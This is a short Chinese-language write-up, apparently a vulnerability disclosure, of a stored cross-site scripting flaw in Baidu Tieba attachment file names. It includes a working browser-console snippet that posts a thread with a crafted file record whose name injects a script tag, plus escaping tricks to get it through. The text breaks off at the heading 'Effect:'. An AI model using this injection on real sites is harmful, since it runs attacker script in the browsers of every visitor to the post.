=====粽子节快乐！！！===== 这个帖子不要去点

百度贴吧上传文件名未严格转码导致xss
上传的附件在源代码里查看信息发现，“转存到百度云”一项的data-file-name未进行转码，可以在其中插入代码，打开帖子时自动执行。
上传文件信息的基本脚本:
javascript:var c=rich_postor._getData();c.files='[{"name":"name","size":1,"uploadStatus":"success","path":"文件路径","ctime":0,"mtime":0,"md5":"0","fs_id":0,"isdir":0,"request_id":0}]';$.post("/f/commit/thre

ad/add",c);
一堆数据由于不影响上传干脆全清零了。
然后文件名输入"><script>alert(1)</script><a "，随便上传一个1.jpg来检验
于是得到代码
javascript:var c=rich_postor._getData();c.files='[{"name":"\\"><script>alert(1)</script><a \\"","size":1,"uploadStatus":"success","path":"/1.jpg","ctime":0,"mtime":0,"md5":"0","fs_id":0,"isdir":0,"request_id":0}]';$.post("/f/commit/thread/add",c);
加反斜杠来防止百度处理files时出错
效果：